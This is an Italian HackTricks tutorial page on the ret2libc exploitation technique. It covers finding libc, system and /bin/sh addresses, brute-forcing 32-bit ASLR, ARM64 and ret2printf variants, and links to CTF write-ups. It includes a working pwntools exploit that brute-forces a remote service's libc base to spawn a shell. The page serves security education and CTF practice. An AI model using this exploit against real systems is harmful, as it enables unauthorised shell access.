Ret2lib
Reading time: 6 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Informazioni di Base
L'essenza di Ret2Libc è reindirizzare il flusso di esecuzione di un programma vulnerabile a una funzione all'interno di una libreria condivisa (ad es., system, execve, strcpy) invece di eseguire shellcode fornito dall'attaccante nello stack. L'attaccante crea un payload che modifica l'indirizzo di ritorno nello stack per puntare alla funzione della libreria desiderata, mentre organizza anche eventuali argomenti necessari per essere impostati correttamente secondo la convenzione di chiamata.
Esempio di Passaggi (semplificato)
- Ottenere l'indirizzo della funzione da chiamare (ad es. system) e il comando da chiamare (ad es. /bin/sh)
- Generare una catena ROP per passare il primo argomento che punta alla stringa del comando e il flusso di esecuzione alla funzione
Trovare gli indirizzi
- Supponendo che la
libc
utilizzata sia quella della macchina corrente, puoi trovare dove verrà caricata in memoria con:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Se vuoi controllare se l'ASLR sta cambiando l'indirizzo di libc, puoi fare:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Conoscendo la libc utilizzata è anche possibile trovare l'offset della funzione
system
con:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Conoscendo la libc utilizzata è anche possibile trovare l'offset alla stringa
/bin/sh
funzione con:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Utilizzando gdb-peda / GEF
Conoscendo la libc utilizzata, è anche possibile usare Peda o GEF per ottenere l'indirizzo della funzione system, della funzione exit e della stringa /bin/sh
:
p system
p exit
find "/bin/sh"
Utilizzando /proc/<PID>/maps
Se il processo sta creando figli ogni volta che parli con esso (server di rete), prova a leggere quel file (probabilmente avrai bisogno dei permessi di root).
Qui puoi trovare esattamente dove è caricata la libc all'interno del processo e dove verrà caricata per ogni figlio del processo.
In questo caso è caricata in 0xb75dc000 (Questo sarà l'indirizzo base della libc)
Libc sconosciuta
Potrebbe essere possibile che non conosci la libc che il binario sta caricando (perché potrebbe trovarsi su un server a cui non hai accesso). In quel caso potresti sfruttare la vulnerabilità per leakare alcuni indirizzi e scoprire quale libreria libc viene utilizzata:
{{#ref}} rop-leaking-libc-address/ {{#endref}}
E puoi trovare un template di pwntools per questo in:
{{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}}
Conoscere la libc con 2 offset
Controlla la pagina https://libc.blukat.me/ e usa un paio di indirizzi di funzioni all'interno della libc per scoprire la versione utilizzata.
Bypassare ASLR in 32 bit
Questi attacchi di brute-forcing sono utili solo per sistemi a 32 bit.
- Se l'exploit è locale, puoi provare a forzare l'indirizzo base della libc (utile per sistemi a 32 bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Se attacchi un server remoto, potresti provare a forzare l'indirizzo della funzione
usleep
dilibc
, passando come argomento 10 (ad esempio). Se a un certo punto il server impiega 10 secondi in più per rispondere, hai trovato l'indirizzo di questa funzione.
One Gadget
Esegui una shell semplicemente saltando a un specifico indirizzo in libc:
{{#ref}} one-gadget.md {{#endref}}
Esempio di codice x86 Ret2lib
In questo esempio, il brute-force ASLR è integrato nel codice e il binario vulnerabile si trova su un server remoto:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Esempio di Codice
Controlla l'esempio da:
{{#ref}} ../ {{#endref}}
Esempio ARM64 Ret2lib
Nel caso di ARM64, l'istruzione ret salta dove il registro x30 sta puntando e non dove il registro stack sta puntando. Quindi è un po' più complicato.
Inoltre, in ARM64 un'istruzione fa ciò che l'istruzione fa (non è possibile saltare nel mezzo delle istruzioni e trasformarle in nuove).
Controlla l'esempio da:
{{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}}
Ret-into-printf (o puts)
Questo consente di leakare informazioni dal processo chiamando printf
/puts
con alcuni dati specifici posti come argomento. Ad esempio, mettere l'indirizzo di puts
nel GOT in un'esecuzione di puts
leakerà l'indirizzo di puts
in memoria.
Ret2printf
Questo significa fondamentalmente abusare di un Ret2lib per trasformarlo in una vulnerabilità di stringhe di formato printf
utilizzando il ret2lib
per chiamare printf con i valori per sfruttarlo (sembra inutile ma è possibile):
{{#ref}} ../../format-strings/ {{#endref}}
Altri Esempi e riferimenti
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, dato un leak all'indirizzo di una funzione in libc, utilizzando un gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare
system('/bin/sh')
- https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e poi chiamare un gadget.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bit, senza pie, senza canary, senza relro, nx. Usa la funzione write per leakare l'indirizzo di write (libc) e chiama un gadget.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Usa una stringa di formato per leakare il canary dallo stack e un buffer overflow per chiamare system (è nel GOT) con l'indirizzo di
/bin/sh
. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit, senza relro, senza canary, nx, pie. Abusa di un indicizzazione errata per leakare indirizzi di libc e heap dallo stack. Abusa del buffer overflow per fare un ret2lib chiamando
system('/bin/sh')
(l'indirizzo dell'heap è necessario per bypassare un controllo).
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.